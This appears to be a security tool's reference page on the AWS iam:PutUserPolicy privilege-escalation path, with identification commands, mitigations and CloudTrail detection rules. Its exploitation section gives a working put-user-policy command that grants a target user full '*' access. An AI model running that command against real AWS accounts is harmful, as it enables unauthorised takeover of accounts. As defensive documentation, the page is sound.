AWS_PUT_USER_POLICY

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Summary


Forestall ACL Alias	AWS_PUT_USER_POLICY
Edge Type	Attack Path
Affected Object Types	IAM Users, IAM Roles, IAM Groups
Exploitation Certainty	High
AWS IAM Action	`iam:PutUserPolicy` on the target user

Description

A principal with iam:PutUserPolicy can create or replace an inline policy on a target IAM user. Inline policies live inside the user object and take effect right away. There is no separate attach step like there is with managed policies.

Write an inline policy granting * on * and the target user has unrestricted AWS access.

The edge is (Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_PUT_USER_POLICY]-> (TargetUser:AWSUser).

Note: CollectUserTargetEdges skips self-referential edges, so user self-escalation via AWS_PUT_USER_POLICY isn’t drawn as a graph edge. The operational risk still exists.

Identification

# List principals with iam:PutUserPolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'PutUserPolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:PutUserPolicy \
  --resource-arns "arn:aws:iam::*:user/*"

# List existing inline policies on a user
aws iam list-user-policies --user-name <target-user>
aws iam get-user-policy --user-name <target-user> --policy-name <policy-name>

PowerShell (AWS Tools):

Get-IAMUserPolicyList -UserName <target-user> | ForEach-Object {
    Get-IAMUserPolicy -UserName <target-user> -PolicyName $_
}

Exploitation

aws iam put-user-policy \
  --user-name <target-user> \
  --policy-name Escalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'

Mitigation

Restrict iam:PutUserPolicy to dedicated IAM administrators. Deny it for service identities.
Use permission boundaries so even a wildcard inline policy can’t exceed the boundary.
Apply SCPs to block unrestricted inline policies outside approved pipelines.
Prefer managed policies over inline ones. Managed policies show up in central policy tools; inline ones don’t.

Detection

CloudTrail Event	Description	Key Fields
`PutUserPolicy`	An inline policy was created or replaced on a user	`requestParameters.userName`, `requestParameters.policyName`, `requestParameters.policyDocument`, `userIdentity.arn`

Alert when policyDocument contains "Action": "*" or "Resource": "*", or when the caller is outside an approved IAM-admin role.

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